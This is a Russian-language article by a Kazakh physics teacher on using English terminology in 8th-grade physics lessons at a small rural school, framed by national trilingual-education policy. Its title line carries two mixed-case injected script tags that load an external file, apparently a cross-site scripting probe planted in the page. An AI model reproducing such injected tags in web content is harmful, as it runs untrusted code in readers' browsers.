ИСПОЛЬЗОВАНИЕ ТРЁХЪЯЗЫЧИЯ В МАЛОКОМПЛЕКТНОЙ ШКОЛЕ<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

24.04.2020

ИСПОЛЬЗОВАНИЕ ТРЁХЪЯЗЫЧИЯ В МАЛОКОМПЛЕКТНОЙ ШКОЛЕ

Лазарева В.Н., учитель физики, учитель-исследователь

ГУ «Наумовская средняя школа-сад»,

село Наумовка, Аккольский район, Акмолинская область,

ЕМАЙЛ valua.lazareva.67@mail.ru

 

Андатпа

 

Аннотация

      Данная статья показывает, как можно применить английский язык на уроках физики. Мною представлены общие подходы к внедрению на уроках физики англоязычной терминологии. Работа  показала, что эффективность деятельности зависит не только от правильного планирования, но и от  профессиональной  компетентности педагога и умения оценить свои результаты на разных этапах преподавания.

Annotation

       Н.А. Назарбаев, Лидер Нации, Елбасы, в своём Послании сказал, что Казахстан должен восприниматься во всем мире, как высокообразованная страна, население которой пользуется тремя языками. Это: казахский язык– государственный язык, русский язык -язык межнационального общения и английский язык – язык успешной интеграции в глобальную экономику.

        В настоящее время современный Казахстан большое внимание уделяет основным этапам развития языковой политике в стране, где главную позицию занимает образование.

        Образование должно стать конкурентоспособным, высококачественным, таким, чтобы выпускники казахстанской школы могли легко продолжить обучение в зарубежных вузах.  Использование в учебно-воспитательном процессе общеобразовательной школы обучения на трех языках - это  значительный шаг вперед, в направлении реализации Государственной программы развития образования, одной из базовых компетенций которой является трехъязычие.

        Переход на трехъязычную систему образования на сегодняшний день-это реальность. Сегодня в Казахстанских школах внедрён процесс изучения английского языка в рамках предметов естественно-математического цикла, что позволяет расширить знания и способности учащихся, одним из которых является физика.

       Казалось бы, что связь между физикой и английским языком  не возможна -это два разных цикла, но если вникнуть, то можно найти много общего между этими предметами:

-изучение терминологии  характерно для обоих предметов;

-в физике очень много терминов, взятых из английского языка;

-в физике, чтобы решать задачи,  необходимо  креативно мыслить, как и в лингвистике.

       Общие подходы к изучению этих двух предметов позволили мне внедрить на своих уроках физики англоязычную терминологию.

        Моя работа  доказала, что эффективность деятельности зависит не только от правильного планирования, но и от  профессиональной  компетентности и умения оценить свои результаты работы на разных этапах.

      Обозначив проблему «Использование терминологии английского языка на уроках физики в 8 классе для повышения функциональной грамотности учащихся», я поставила перед собой  следующие вопросы:

-Что я хочу?

-Как могу я этого достичь?

-Как я могу себе помочь?

-Как я узнаю, что я этого достигла?

      Для ответа на эти вопросы, я  пересмотрела учебный материал по физике, используемые методы, средства и формы обучения. Определила основные виды деятельности на уроке:

-приветствие на трёх языках и создание коллаборативной среды и позитивного настроя;

--определение терминов в физике из раздела курса на английском языке;

-использование мультимедиа предметной направленности. Просмотр аудио и видео записей по предмету на английском языке;

-работа с текстом, таблицами, схемами;

-использование межпредметных тем.

      Большая роль интеграции английского языка в предмет физики  это, безусловно,  подготовка к урокам, она включает в себя следующую деятельность:

-Наблюдение во время предметно-языкового обучения с целью выявления затруднений возникающих у учащихся и устранения их в дальнейшем;

-Работа с методической литературой по предмету и использование физико-английского словаря;

-Отбор тематического содержания, перевод основных терминов и понятий;

-Разработка краткосрочного плана, включающего выбранные методы и приемы, средства и приёмы предметно-языкового обучения;

-Подготовка наглядного материала.

      Конечно, изучение языка - дело непростое, но в нашей школе оно получило хороший старт. Пусть пока мы не достаточно владеем английским языком, но мы его применяем на уроках. Учащиеся с интересом воспринимают материал, учатся мыслить по- новому. Главное – желание и вера в свои силы. Мудрые слова заключены в английской пословице «When there is a will,there is a way –Где есть желание, есть и возможности». С этим трудно поспорить.

                   

  Список использованной литературы:

1. Послание Президента Республики Казахстан Н.Назарбаева народу Казахстана «Казахстан в новой глобальной реальности: рост, реформы, развитие» от 30 ноября 2015 г.
2. Закон Республики Казахстан «Об образовании» от 27 июля 2007 года № 319 –III (с изменениями и дополнениями по состоянию на 04.12.2015 г.).
3. Государственная программа развития образования и науки на 2016-2019 годы (Указ Президента РК №205 от 1 марта 2016г.). – Астана, 2016г.
4. Концепция развития малокомплектных школ в Республике Казахстан на 2010-2020 годы, Астана, 2010 г.